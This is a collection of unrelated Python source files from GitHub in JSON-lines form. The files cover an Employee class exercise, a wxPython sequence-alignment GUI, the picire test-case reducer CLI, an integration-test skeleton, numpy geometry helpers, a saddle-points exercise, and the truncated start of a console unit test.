+{"seq_id":"9912788497","text":"class Employee:\n def __init__(self, name, last_name, salary):\n self.first_name = name.title()\n self.last_name = last_name.title()\n self.salary = salary\n\n # self.first_name = self.name.title()\n # self.last_name = self.l_name.title()\n\n @classmethod\n def from_string(cls, string):\n pars = string.split('-')\n cls.first_name = pars[0]\n cls.last_name = pars[1]\n cls.salary = int(pars[2])\n return Employee(cls.first_name, cls.last_name, cls.salary)\n\n\nemp1 = Employee('mary', 'Sue', 60000)\nemp2 = Employee.from_string('John-Smith-55000')\n\nprint(emp1.first_name)\nprint(emp1.salary)\n\nprint(emp2.first_name)\nprint(emp2.salary)\n\n","repo_name":"dima-mazur/my_python_udemy2022","sub_path":"tasks/Ch_6.3.py","file_name":"Ch_6.3.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16731475629","text":"import wx\nimport bio_utils\nimport seqframe\nimport seq_align\nclass NeedlemanWunshPanel(wx.Panel):\n def __init__(self, parent):\n wx.Panel.__init__(self, parent)\n\n vbox = wx.BoxSizer(wx.VERTICAL)\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n left_vbox = wx.BoxSizer(wx.VERTICAL)\n right_vbox = wx.BoxSizer(wx.VERTICAL)\n hbox.Add(left_vbox, 0, wx.EXPAND)\n hbox.Add(right_vbox, 1, wx.EXPAND)\n\n #Create and fill sequence box UI\n seq_box = wx.StaticBoxSizer( wx.StaticBox(self, label=\"Sequences\" ), wx.VERTICAL) \n self.seq1_static_txt = wx.StaticText(self, label='Sequence u:')\n self.seq1_txt_ctrl = wx.TextCtrl(self, size=(200, -1))\n \n\n self.seq1_import_btn = wx.Button(self, label='Import from File')\n self.seq1_import_btn.Bind(wx.EVT_BUTTON, self.import_seq1)\n\n\n hbox1 = wx.BoxSizer(wx.HORIZONTAL)\n hbox1.Add(self.seq1_static_txt, flag=wx.LEFT, border=0)\n hbox1.Add(self.seq1_txt_ctrl, flag=wx.LEFT, border=5)\n\n self.seq2_static_txt = wx.StaticText(self, label='Sequence v:')\n self.seq2_txt_ctrl = wx.TextCtrl(self, size=(200, -1))\n self.seq2_import_btn = wx.Button(self, label='Import from File')\n self.seq2_import_btn.Bind(wx.EVT_BUTTON, self.import_seq2)\n\n hbox2= wx.BoxSizer(wx.HORIZONTAL)\n hbox2.Add(self.seq2_static_txt, flag=wx.LEFT, border=0)\n hbox2.Add(self.seq2_txt_ctrl, flag=wx.LEFT, border=5)\n seq_box.Add(hbox1, 0, wx.ALL, 2)\n seq_box.Add(self.seq1_import_btn, 0, wx.LEFT | wx.ALIGN_TOP, 50)\n seq_box.Add(hbox2, 0, wx.ALL, 2)\n seq_box.Add(self.seq2_import_btn, 0, wx.LEFT | wx.ALIGN_TOP, 50)\n \n span_box = wx.StaticBoxSizer( wx.StaticBox(self, label=\"Alignment Span\" ), wx.VERTICAL)\n self.global_radio_btn = wx.RadioButton(self, label='Global', style = wx.RB_GROUP)\n self.local_radio_btn = wx.RadioButton(self, label='Local')\n span_box.Add(self.global_radio_btn, 0)\n span_box.Add(self.local_radio_btn, 0)\n\n left_vbox.Add(seq_box, 0, wx.ALL | wx.EXPAND, 3)\n left_vbox.Add(span_box, 0, wx.ALL | wx.EXPAND, 3)\n\n\n self.nb = wx.Notebook(self)\n\n nucleo_alpha = list(bio_utils.NUCLEOTIDES) + ['-']\n self.nucleotide_page = SeqAlphaPanel(self.nb, nucleo_alpha, bio_utils.DEFAULT_NUCLEOTIDE)\n\n protein_alpha = list(bio_utils.AMINO_ACIDS) + ['-']\n self.protein_page = SeqAlphaPanel(self.nb, protein_alpha, bio_utils.DEFAULT_AMINO_ACID)\n\n self.nb.AddPage(self.nucleotide_page, 'Nucleotide')\n self.nb.AddPage(self.protein_page, 'Amino Acid')\n\n right_vbox.Add(self.nb, 1, wx.EXPAND)\n\n bottom_hbox = wx.BoxSizer(wx.HORIZONTAL)\n self.back_btn = wx.Button(self, label='Back')\n self.back_btn.Bind(wx.EVT_BUTTON, self.GetParent().toMenu)\n self.visualize_btn = wx.Button(self, label = 'Visualize')\n self.visualize_btn.Bind(wx.EVT_BUTTON, self.visualize)\n bottom_hbox.Add(self.back_btn, 0, wx.ALIGN_LEFT | wx.ALIGN_BOTTOM)\n bottom_hbox.AddStretchSpacer()\n bottom_hbox.Add(self.visualize_btn, 0, wx.ALIGN_RIGHT | wx.ALIGN_BOTTOM)\n \n vbox.Add(hbox, 0)\n vbox.Add(bottom_hbox, 1, wx.ALIGN_BOTTOM | wx.EXPAND | wx.ALL, 10)\n\n self.SetSizer(vbox)\n\n def import_seq1(self, event):\n seq1 = ''\n filetype = self.getFiletype()\n if filetype:\n seq1 = self.get_seq(filetype)\n if seq1:\n self.seq1_txt_ctrl.SetValue(seq1)\n\n def import_seq2(self, event):\n seq2 = ''\n filetype = self.getFiletype()\n if filetype:\n seq2 = self.get_seq(filetype)\n if seq2:\n self.seq2_txt_ctrl.SetValue(seq2)\n\n def getFiletype(self):\n filetype = ''\n dlg = wx.SingleChoiceDialog(self, message='Choose a file type.', caption='Choose a file type.', choices=['Plain text', 'FASTA'])\n if dlg.ShowModal() == wx.ID_OK:\n filetype = dlg.GetStringSelection()\n dlg.Destroy()\n return filetype\n\n def get_seq(self, filetype):\n if filetype == 'Plain text':\n wildcard = 'Text file (*.txt)|*.txt|All files|*'\n else:\n wildcard = 'FASTA File (*.fasta)|*.fasta|All files (*.*)|*'\n seq = ''\n dlg = wx.FileDialog(self, message='Choose a sequence file', defaultFile='', wildcard=wildcard, style=wx.FD_OPEN | wx.FD_CHANGE_DIR)\n if dlg.ShowModal() == wx.ID_OK:\n path = dlg.GetPath()\n with open(path, 'Ur') as f:\n contents = f.read()\n if filetype == 'Plain text':\n seq = ''.join(contents.split())\n else:\n lines = contents.splitlines()\n start = False\n seq_list = list()\n for line in lines:\n if line[0] == '>':\n if not start:\n start = True\n continue\n else:\n break\n if start:\n seq_list.append(line)\n seq = ''.join(seq_list)\n dlg.Destroy()\n return seq\n\n def visualize(self, event): \n current_page = self.nb.GetCurrentPage()\n seq1 = self.seq1_txt_ctrl.GetValue()\n for c1 in seq1:\n if c1 not in current_page.alphabet:\n dlg = wx.MessageDialog(self, 'Sequence u contains invalid characters.', 'Invalid Sequence', wx.OK | wx.ICON_ERROR)\n dlg.ShowModal() \n dlg.Destroy()\n return\n seq2 = self.seq2_txt_ctrl.GetValue()\n for c2 in seq2:\n if c2 not in current_page.alphabet:\n dlg = wx.MessageDialog(self, 'Sequence v contains invalid characters.', 'Invalid Sequence', wx.OK | wx.ICON_ERROR)\n dlg.ShowModal() \n dlg.Destroy()\n return\n local = self.local_radio_btn.GetValue()\n\n scores = [[0 for i in range(len(current_page.alphabet))] for i in range(len(current_page.alphabet))]\n for i in range(1, len(current_page.alphabet)):\n for j in range(i, len(current_page.alphabet)+1):\n if j >= i:\n contents = current_page.scoring_grid.FindItemAtPosition((i,j)).GetWindow().GetValue()\n try:\n float(contents)\n except ValueError:\n dlg = wx.MessageDialog(self, 'Cell ({0},{1}) of the scoring matrix does not contain a valid floating point number.'.format(i,j), 'Invalid Float', wx.OK | wx.ICON_ERROR)\n dlg.ShowModal() \n dlg.Destroy()\n return\n scores[i-1][j-1] = float(contents)\n for i in range(len(current_page.alphabet)):\n for j in range(i):\n scores[i][j] = scores[j][i]\n\n self.seq_matrix = seq_align.SeqAlign(seq1, seq2, scores, current_page.alphabet, local)\n self.viz_frame = seqframe.SeqFrame(self, self.seq_matrix)\n\n\nclass SeqAlphaPanel(wx.Panel):\n def __init__(self, parent, alphabet, defaults):\n wx.Panel.__init__(self, parent)\n self.alphabet = alphabet\n self.defaults = defaults\n\n vbox = wx.BoxSizer(wx.VERTICAL)\n matrix_box = wx.StaticBoxSizer( wx.StaticBox(self, label=\"Scoring Matrix\" ), wx.VERTICAL)\n\n self.scoring_grid = wx.GridBagSizer()\n for i in range(len(self.alphabet)):\n for j in range(len(self.alphabet) + 1):\n if i == 0:\n if j == 0:\n self.scoring_grid.Add(wx.StaticText(self), (i,j), flag=wx.EXPAND)\n else:\n self.scoring_grid.Add(wx.StaticText(self, label=self.alphabet[j-1]), (i,j), flag=wx.ALIGN_CENTER)\n elif j == 0:\n self.scoring_grid.Add(wx.StaticText(self, label=self.alphabet[i-1]), (i,j), flag=wx.EXPAND)\n elif j>=i:\n self.scoring_grid.Add(wx.TextCtrl(self, size = (15, 15)), (i,j), flag=wx.EXPAND)\n else:\n self.scoring_grid.Add(wx.StaticText(self), (i,j), flag=wx.EXPAND)\n\n self.import_btn = wx.Button(self, label = 'Use Default Value')\n self.import_btn.Bind(wx.EVT_BUTTON, self.useDefault)\n\n\n match_txt = wx.StaticText(self, label='Update Match Score:')\n hbox1 = wx.BoxSizer(wx.HORIZONTAL)\n self.match_score_txt = wx.TextCtrl(self, size=(35, -1))\n self.match_btn = wx.Button(self, label='Update')\n self.match_btn.Bind(wx.EVT_BUTTON, self.updateMatch)\n hbox1.Add(self.match_score_txt, 0, wx.LEFT, 5)\n hbox1.Add(self.match_btn, 0, wx.LEFT, 10)\n\n mismatch_txt = wx.StaticText(self, label='Update Mismatch Score:')\n hbox2 = wx.BoxSizer(wx.HORIZONTAL)\n self.mismatch_score_txt = wx.TextCtrl(self, size=(35, -1))\n self.mismatch_btn = wx.Button(self, label='Update')\n self.mismatch_btn.Bind(wx.EVT_BUTTON, self.updateMismatch)\n hbox2.Add(self.mismatch_score_txt, 0, wx.LEFT, 5)\n hbox2.Add(self.mismatch_btn, 0, wx.LEFT, 10)\n\n indel_txt = wx.StaticText(self, label='Update Indel Score:')\n hbox3 = wx.BoxSizer(wx.HORIZONTAL)\n self.indel_score_txt = wx.TextCtrl(self, size=(35, -1))\n self.indel_btn = wx.Button(self, label='Update')\n self.indel_btn.Bind(wx.EVT_BUTTON, self.updateIndel)\n hbox3.Add(self.indel_score_txt, 0, wx.LEFT, 5)\n hbox3.Add(self.indel_btn, 0, wx.LEFT, 10)\n\n matrix_box.Add(self.scoring_grid, 0)\n\n vbox.Add(matrix_box, 0, wx.EXPAND)\n vbox.Add(self.import_btn, 0, wx.ALL, 5)\n vbox.Add(match_txt, 0)\n vbox.Add(hbox1, 0, wx.EXPAND)\n vbox.Add(mismatch_txt, 0, wx.TOP, 5)\n vbox.Add(hbox2, 0, wx.EXPAND)\n vbox.Add(indel_txt, 0, wx.TOP, 5)\n vbox.Add(hbox3, 0, wx.EXPAND)\n\n self.SetSizer(vbox)\n\n def useDefault(self, event):\n default = ''\n dlg = wx.SingleChoiceDialog(self, message='Choose a file type.', caption='Choose a file type.', choices=self.defaults.keys())\n if dlg.ShowModal() == wx.ID_OK:\n default = dlg.GetStringSelection()\n if default:\n values = self.defaults[default]\n for i, row in enumerate(values):\n for j, cell in enumerate(row):\n self.scoring_grid.FindItemAtPosition((i+1,i+1+j)).GetWindow().SetValue(str(cell))\n\n def updateMatch(self, event):\n match_score = self.match_score_txt.GetValue()\n try:\n float(match_score)\n except ValueError:\n dlg = wx.MessageDialog(self, 'Please enter a valid floating point number.', 'Invalid Float', wx.OK | wx.ICON_ERROR)\n dlg.ShowModal() \n dlg.Destroy()\n return\n for i in range(1, len(self.alphabet)):\n self.scoring_grid.FindItemAtPosition((i,i)).GetWindow().SetValue(match_score)\n\n def updateMismatch(self, event):\n mismatch_score = self.mismatch_score_txt.GetValue()\n try:\n float(mismatch_score)\n except ValueError:\n dlg = wx.MessageDialog(self, 'Please enter a valid floating point number.', 'Invalid Float', wx.OK | wx.ICON_ERROR)\n dlg.ShowModal() \n dlg.Destroy()\n return\n for i in range(1, len(self.alphabet)):\n for j in range(i+1, len(self.alphabet)):\n self.scoring_grid.FindItemAtPosition((i,j)).GetWindow().SetValue(mismatch_score)\n\n def updateIndel(self, event):\n indel_score = self.indel_score_txt.GetValue()\n try:\n float(indel_score)\n except ValueError:\n dlg = wx.MessageDialog(self, 'Please enter a valid floating point number.', 'Invalid Float', wx.OK | wx.ICON_ERROR)\n dlg.ShowModal() \n dlg.Destroy()\n return\n for i in range(1, len(self.alphabet)):\n self.scoring_grid.FindItemAtPosition((i,len(self.alphabet))).GetWindow().SetValue(indel_score)","repo_name":"tjjensen/Bioinformatics_Algorithm_Visualization","sub_path":"src/seq_panel.py","file_name":"seq_panel.py","file_ext":"py","file_size_in_byte":12221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26444907005","text":"import argparse\nimport codecs\nimport os\nimport time\n\nfrom math import inf\nfrom multiprocessing import cpu_count\nfrom os.path import basename, exists, join, realpath\nfrom shutil import rmtree\n\ntry:\n from importlib import metadata\nexcept ImportError:\n import importlib_metadata as metadata\n\nimport chardet\nimport inators\n\nfrom inators import log as logging\n\nfrom .cache import CacheRegistry\nfrom .dd import DD\nfrom .iterator import CombinedIterator, IteratorRegistry\nfrom .parallel_dd import ParallelDD\nfrom .shared_cache import shared_cache_decorator\nfrom .splitter import SplitterRegistry\nfrom .subprocess_test import ConcatTestBuilder, SubprocessTest\n\nlogger = logging.getLogger('picire')\n__version__ = metadata.version(__package__)\n\n\ndef create_parser():\n def int_or_inf(value):\n if value == 'inf':\n return inf\n value = int(value)\n if value < 2:\n raise argparse.ArgumentTypeError(f'invalid value: {value!r} (must be at least 2)')\n return value\n\n parser = argparse.ArgumentParser(description='Command line interface of the \"picire\" test case reducer')\n parser.add_argument('-i', '--input', metavar='FILE', required=True,\n help='test case to be reduced')\n\n # Base reduce settings.\n parser.add_argument('--cache', metavar='NAME',\n choices=sorted(CacheRegistry.registry.keys()), default='config',\n help='cache strategy (%(choices)s; default: %(default)s)')\n parser.add_argument('--split', metavar='NAME',\n choices=sorted(SplitterRegistry.registry.keys()), default='zeller',\n help='split algorithm (%(choices)s; default: %(default)s)')\n parser.add_argument('--test', metavar='FILE', required=True,\n help='test command that decides about interestingness of an input')\n parser.add_argument('--granularity', metavar='N', type=int_or_inf, default=2,\n help='initial granularity and split factor (integer or \\'inf\\'; default: %(default)d)')\n parser.add_argument('--encoding', metavar='NAME',\n help='test case encoding (default: autodetect)')\n parser.add_argument('--no-dd-star', dest='dd_star', default=True, action='store_false',\n help='run the ddmin algorithm only once')\n\n # Extra settings for parallel reduce.\n parser.add_argument('-p', '--parallel', action='store_true', default=False,\n help='run DD in parallel')\n parser.add_argument('-j', '--jobs', metavar='N', type=int, default=cpu_count(),\n help='maximum number of test commands to execute in parallel (has effect in parallel mode only; default: %(default)s)')\n parser.add_argument('-u', '--max-utilization', metavar='N', type=int, default=100,\n help='maximum CPU utilization allowed; don\\'t start new parallel jobs until utilization is higher (has effect in parallel mode only; default: %(default)s)')\n\n # Tweaks how to walk through the chunk lists.\n parser.add_argument('--complement-first', dest='subset_first', action='store_false', default=True,\n help='check complements first')\n parser.add_argument('--subset-iterator', metavar='NAME',\n choices=sorted(IteratorRegistry.registry.keys()), default='forward',\n help='ordering strategy for looping through subsets (%(choices)s; default: %(default)s)')\n parser.add_argument('--complement-iterator', metavar='NAME',\n choices=sorted(IteratorRegistry.registry.keys()), default='forward',\n help='ordering strategy for looping through complements (%(choices)s; default: %(default)s)')\n\n # Tweaks for caching.\n parser.add_argument('--cache-fail', action='store_true', default=False,\n help='store failing, i.e., interesting test cases in the cache')\n parser.add_argument('--no-cache-evict-after-fail', dest='evict_after_fail', action='store_false', default=True,\n help='disable the eviction of larger test cases from the cache when a failing, i.e., interesting test case is found')\n\n # Logging settings.\n inators.arg.add_log_level_argument(parser)\n parser.add_argument('--log-format', metavar='FORMAT', default='%(message)s',\n help='printf-style format string of diagnostic messages (default: %(default)s)')\n parser.add_argument('--log-datefmt', metavar='FORMAT', default='%Y-%m-%d %H:%M:%S',\n help='strftime-style format string of timestamps in diagnostic messages (default: %(default)s)')\n\n # Additional settings.\n parser.add_argument('-o', '--out', metavar='DIR',\n help='working directory (default: input.timestamp)')\n parser.add_argument('--no-cleanup', dest='cleanup', default=True, action='store_false',\n help='disable the removal of generated temporary files')\n return parser\n\n\ndef config_logging(args):\n logging.basicConfig(format=args.log_format, datefmt=args.log_datefmt)\n inators.arg.process_log_level_argument(args, logger)\n\n\ndef process_args(args):\n args.input = realpath(args.input)\n if not exists(args.input):\n raise ValueError(f'Test case does not exist: {args.input}')\n\n with open(args.input, 'rb') as f:\n args.src = f.read()\n\n if args.encoding:\n try:\n codecs.lookup(args.encoding)\n except LookupError as e:\n raise ValueError(f'The given encoding ({args.encoding}) is not known.') from e\n else:\n args.encoding = chardet.detect(args.src)['encoding'] or 'latin-1'\n\n args.src = args.src.decode(args.encoding)\n\n args.out = realpath(args.out if args.out else f'{args.input}.{time.strftime(\"%Y%m%d_%H%M%S\")}')\n\n args.test = realpath(args.test)\n if not exists(args.test) or not os.access(args.test, os.X_OK):\n raise ValueError(f'Tester program does not exist or isn\\'t executable: {args.test}')\n\n args.tester_class = SubprocessTest\n args.tester_config = {'command_pattern': [args.test, '%s'],\n 'work_dir': join(args.out, 'tests'),\n 'filename': basename(args.input),\n 'encoding': args.encoding,\n 'cleanup': args.cleanup}\n\n args.cache_class = CacheRegistry.registry[args.cache]\n if args.parallel:\n args.cache_class = shared_cache_decorator(args.cache_class)\n args.cache_config = {'cache_fail': args.cache_fail,\n 'evict_after_fail': args.evict_after_fail}\n\n # Choose the reducer class that will be used and its configuration.\n args.reduce_config = {'config_iterator': CombinedIterator(args.subset_first,\n IteratorRegistry.registry[args.subset_iterator],\n IteratorRegistry.registry[args.complement_iterator]),\n 'split': SplitterRegistry.registry[args.split](n=args.granularity),\n 'dd_star': args.dd_star}\n if not args.parallel:\n args.reduce_class = DD\n else:\n args.reduce_class = ParallelDD\n args.reduce_config.update(proc_num=args.jobs,\n max_utilization=args.max_utilization)\n\n logger.info('Input loaded from %s', args.input)\n\n\ndef log_args(title, args):\n def _log_args(args):\n if not args:\n return repr(args)\n if isinstance(args, dict):\n log = []\n for k, v in sorted(args.items()):\n k_log = _log_args(k)\n v_log = _log_args(v)\n if isinstance(v_log, list):\n log += [f'{k_log}:']\n for line in v_log:\n log += [f'\\t{line}']\n else:\n log += [f'{k_log}: {v_log}']\n return log if len(log) > 1 else log[0]\n if isinstance(args, list):\n v_logs = [_log_args(v) for v in args]\n if any(isinstance(v_log, list) for v_log in v_logs):\n log = []\n for v_log in v_logs:\n if not isinstance(v_log, list):\n v_log = [v_log]\n for i, line in enumerate(v_log):\n log += [f'{\"-\" if i == 0 else \" \"} {line}']\n else:\n log = ', '.join(v_log for v_log in v_logs)\n return log\n if hasattr(args, '__name__'):\n return '.'.join(([args.__module__] if hasattr(args, '__module__') else []) + [args.__name__])\n return str(args)\n logger.info('%s\\n\\t%s\\n', title, '\\n\\t'.join(_log_args(args)))\n\n\ndef reduce(src, *,\n reduce_class, reduce_config,\n tester_class, tester_config,\n atom='line',\n cache_class=None, cache_config=None):\n \"\"\"\n Execute picire as if invoked from command line, however, control its\n behaviour not via command line arguments but function parameters.\n\n :param src: Contents of the test case to reduce.\n :param reduce_class: Reference to the reducer class.\n :param reduce_config: Dictionary containing information to initialize the\n reduce_class.\n :param tester_class: Reference to a runnable class that can decide about the\n interestingness of a test case.\n :param tester_config: Dictionary containing information to initialize the\n tester_class.\n :param atom: Input granularity to work with during reduce ('char', 'line',\n or 'both'; default: 'line').\n :param cache_class: Reference to the cache class to use.\n :param cache_config: Dictionary containing information to initialize the\n cache_class.\n :return: The contents of the minimal test case.\n \"\"\"\n\n # Get the parameters in a dictionary so that they can be pretty-printed\n # (minus src, as that parameter can be arbitrarily large)\n args = locals().copy()\n del args['src']\n log_args('Reduce session starts', args)\n\n cache = cache_class(**cache_config) if cache_class else None\n\n for atom_cnt, atom_name in enumerate(['line', 'char'] if atom == 'both' else [atom]):\n # Split source to the chosen atoms.\n if atom_name == 'line':\n src = src.splitlines(True)\n logger.info('Initial test contains %d %ss', len(src), atom_name)\n\n test_builder = ConcatTestBuilder(src)\n if cache:\n cache.clear()\n cache.set_test_builder(test_builder)\n\n dd = reduce_class(tester_class(test_builder=test_builder, **tester_config),\n cache=cache,\n id_prefix=(f'a{atom_cnt}',),\n **reduce_config)\n min_set = dd(list(range(len(src))))\n src = test_builder(min_set)\n\n logger.trace('The cached results are: %s', cache)\n logger.debug('A minimal config is: %r', min_set)\n\n return src\n\n\ndef postprocess(args, out_src):\n if args.cleanup:\n rmtree(join(args.out, 'tests'))\n\n output = join(args.out, basename(args.input))\n with codecs.open(output, 'w', encoding=args.encoding, errors='ignore') as f:\n f.write(out_src)\n\n logger.info('Output saved to %s', output)\n\n\ndef execute():\n \"\"\"\n The main entry point of picire.\n \"\"\"\n parser = create_parser()\n # Implementation specific CLI options that are not needed to be part of the core parser.\n parser.add_argument('-a', '--atom', metavar='NAME', choices=['char', 'line', 'both'], default='line',\n help='atom (i.e., granularity) of input (%(choices)s; default: %(default)s)')\n inators.arg.add_version_argument(parser, version=__version__)\n args = parser.parse_args()\n\n config_logging(args)\n try:\n process_args(args)\n except ValueError as e:\n parser.error(e)\n\n out_src = reduce(args.src,\n reduce_class=args.reduce_class,\n reduce_config=args.reduce_config,\n tester_class=args.tester_class,\n tester_config=args.tester_config,\n atom=args.atom,\n cache_class=args.cache_class,\n cache_config=args.cache_config)\n\n postprocess(args, out_src)\n","repo_name":"renatahodovan/picire","sub_path":"picire/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":12387,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"5"} +{"seq_id":"7900340125","text":"import sys as _sys\n\nfrom apodeixi.testing_framework.a6i_integration_test import ShutilStoreTestStack, ApodeixiIntegrationTest\nfrom apodeixi.util.a6i_error import ApodeixiError, FunctionalTrace\n\nfrom apodeixi.controllers.util.skeleton_controller import SkeletonController\n\nfrom apodeixi.knowledge_base.tests_integration.post_update_flow_script import Post_and_Update_Script\n\n'''\nAbstract class intended as parent for concrete test cases that use the `Post_and_Update_Script` on a particular\nposting API\n'''\nclass Post_and_Update_Skeleton(ApodeixiIntegrationTest):\n\n def setUp(self):\n super().setUp()\n\n # Flow scenario tests are \"realistic\", so for them we want to enforce referential integrity.\n self.a6i_config.enforce_referential_integrity = True\n\n root_trace = FunctionalTrace(parent_trace=None, path_mask=self._path_mask).doing(\"Selecting stack for test case\")\n self.selectStack(root_trace) \n\n def selectStack(self, parent_trace):\n '''\n Called as part of setting up each integration test case. It chooses and provisions the stack that should\n be used by this test case.\n '''\n self._stack = ShutilStoreTestStack(parent_trace, self.a6i_config)\n\n\n def run_script(self, scenario, test_name, excel_relative_path, excel_file, excel_sheet, \n nb_manifests, from_nothing, namespace, subnamespace, posting_api, setup_dependencies):\n\n self.setScenario(scenario)\n self.setCurrentTestName(test_name) # big rock burnout for product Opus\n self.selectTestDataLocation()\n\n script = Post_and_Update_Script(self)\n\n root_trace = FunctionalTrace(parent_trace=None, path_mask=self._path_mask).doing(\"Running script for \" + self.scenario())\n\n script._run_basic_flow( parent_trace =root_trace,\n from_nothing = from_nothing,\n namespace = namespace,\n subnamespace = subnamespace,\n posting_api = posting_api,\n excel_relative_path = excel_relative_path,\n excel_file = excel_file,\n excel_sheet = excel_sheet,\n nb_manifests_expected = nb_manifests,\n generated_form_worksheet = SkeletonController.GENERATED_FORM_WORKSHEET,\n setup_dependencies = setup_dependencies)\n\n def setup_static_data(self, parent_trace):\n '''\n Sets up the static data that is generally needed by flow tests\n '''\n EXCEL_FILES = [ \"products.static-data.admin.a6i.xlsx\",\n \"scoring-cycles.static-data.admin.a6i.xlsx\"]\n\n my_trace = parent_trace.doing(\"Setting up static data\")\n\n for file in EXCEL_FILES:\n loop_trace = my_trace.doing(\"Posting file '\" + str(file) + \"'\")\n posting_path = self.getInputDataFolder(loop_trace) + \"/\" + self.scenario() + \"/\" + file\n response, log_txt = self.stack().kb().postByFile( parent_trace = loop_trace, \n path_of_file_being_posted = posting_path, \n excel_sheet = \"Posting Label\")\n\n def setup_reference_data(self, parent_trace):\n '''\n Sets up any reference data (such as other manifests) that are assumed as pre-conditions by this test. \n '''\n if self.scenario() == \"basic_posting_flows.milestones\":\n EXCEL_FILE = \"for_mls.big-rocks.journeys.a6i.xlsx\"\n EXCEL_FOLDER = self.getInputDataFolder(parent_trace) + \"/\" + self.scenario()\n my_trace = self.trace_environment(parent_trace, \"Creating big-rocks dependency\")\n if True:\n clientURL = self.stack().store().current_environment(my_trace).clientURL(my_trace)\n posting_path = EXCEL_FOLDER + \"/\" + EXCEL_FILE\n response, log_txt = self.stack().kb().postByFile( parent_trace = my_trace, \n path_of_file_being_posted = posting_path, \n excel_sheet = \"Posting Label\")\n self.check_environment_contents(parent_trace = my_trace ) \n else:\n return # No other scenarios have dependencies to pre-populate\n\n","repo_name":"ChateauClaudia-Labs/apodeixi","sub_path":"src/apodeixi/knowledge_base/tests_integration/post_update_skeleton.py","file_name":"post_update_skeleton.py","file_ext":"py","file_size_in_byte":5143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33932707619","text":"\"\"\"\n@Author Inoe ANDRE\nCross module functions\n\"\"\"\n\nimport numpy as np\nfrom numpy import linalg as LA\n\n\n\n\ndef in_mat_zero2one(mat):\n \"\"\"\n Replace in the matrix all the 0 to 1\n :param mat: input matrix containing 0\n :return: mat with 1 instead of 0\n \"\"\"\n mat_tmp = (mat != 0.0)\n res = mat * mat_tmp + ~mat_tmp\n return res\n\n\n\ndef InvPose(Pose):\n \"\"\"\n Compute the inverse transform of Pose\n :param Pose: 4*4 Matrix of the camera pose\n :return: matrix containing the inverse transform of Pose\n y = R*x + T\n x = R^(-1)*y + R^(-1)*T\n \"\"\"\n PoseInv = np.zeros(Pose.shape, Pose.dtype)\n # Inverse rotation part R^(-1)\n PoseInv[0:3, 0:3] = LA.inv(Pose[0:3, 0:3])\n # Inverse Translation part R^(-1)*T\n PoseInv[0:3, 3] = -np.dot(PoseInv[0:3, 0:3], Pose[0:3, 3])\n PoseInv[3, 3] = 1.0\n return PoseInv\n\ndef normalized_cross_prod(a, b):\n '''\n Compute the cross product of 2 vectors and normalized it\n :param a: first 3 elements vector\n :param b: second 3 elements vector\n :return: the normalized cross product between 2 vector\n '''\n res = np.zeros(3, dtype=\"float\")\n if (LA.norm(a) == 0.0 or LA.norm(b) == 0.0):\n return res\n # normalized a and b\n a = a / LA.norm(a)\n b = b / LA.norm(b)\n # compute cross product\n res[0] = a[1] * b[2] - a[2] * b[1]\n res[1] = -a[0] * b[2] + a[2] * b[0]\n res[2] = a[0] * b[1] - a[1] * b[0]\n # normalized result\n if (LA.norm(res) > 0.0):\n res = res / LA.norm(res)\n return res\n\n\ndef division_by_norm(mat, norm):\n '''\n This fonction divide a n by m by p=3 matrix, point by point, by the norm made through the p dimension\n It ignores division that makes infinite values or overflow to replace it by the former mat values or by 0\n :param mat:\n :param norm:\n :return:\n '''\n for i in range(3):\n with np.errstate(divide='ignore', invalid='ignore'):\n mat[:, :, i] = np.true_divide(mat[:, :, i], norm)\n mat[:, :, i][mat[:, :, i] == np.inf] = 0\n mat[:, :, i] = np.nan_to_num(mat[:, :, i])\n return mat\n\n\ndef normalized_cross_prod_optimize(a, b):\n \"\"\"\n Compute the cross product of list of 2 vectors and normalized it\n :param a: first 3 elements vector\n :param b: second 3 elements vector\n :return: the normalized cross product between 2 vector\n \"\"\"\n # res = np.zeros(a.Size, dtype = \"float\")\n norm_mat_a = np.sqrt(np.sum(a * a, axis=2))\n norm_mat_b = np.sqrt(np.sum(b * b, axis=2))\n # changing every 0 to 1 in the matrix so that the division does not generate nan or infinite values\n norm_mat_a = in_mat_zero2one(norm_mat_a)\n norm_mat_b = in_mat_zero2one(norm_mat_b)\n # compute a/ norm_mat_a\n a = division_by_norm(a, norm_mat_a)\n b = division_by_norm(b, norm_mat_b)\n # compute cross product with matrix\n res = np.cross(a, b)\n # compute the norm of res using the same method for a and b\n norm_mat_res = np.sqrt(np.sum(res * res, axis=2))\n norm_mat_res = in_mat_zero2one(norm_mat_res)\n # norm division\n res = division_by_norm(res, norm_mat_res)\n return res","repo_name":"InoeAndre/NIIComputerVision","sub_path":"code/lib/General.py","file_name":"General.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"13840957836","text":"def saddle_points(matrix):\n if any(len(row) != len(matrix[0]) for row in matrix):\n raise ValueError('Irregular matrix!')\n\n candidates = [] \n for row in range(len(matrix)):\n for col in range(len(matrix[0])):\n if matrix[row][col] >= max(matrix[row]):\n candidates.append((row, col))\n\n results = []\n for can in candidates:\n can_row = can[0]\n can_col = can[1]\n saddle = 1\n for i in range(len(matrix)):\n if matrix[i][can_col] < matrix[can_row][can_col]:\n saddle = False\n break\n if saddle: \n results.append({\"row\": can_row + 1, \"column\": can_col + 1})\n\n return results\n\n","repo_name":"AndrejTS/python-exercises","sub_path":"saddle-points/saddle_points.py","file_name":"saddle_points.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23782831807","text":"import uuid\nimport os\nimport sys\nimport unittest\nfrom io import StringIO\nfrom unittest.mock import patch, Mock\nfrom console import HBNBCommand\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\nfrom models.user import User\nfrom models.place import Place\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.review import Review\nimport console\n\n\nclass TestConsole(unittest.TestCase):\n # def setUp(self):\n # \"\"\"Create file at the beginning of every test\"\"\"\n # try:\n # os.remove(\"file.json\")\n # except IOError:\n # 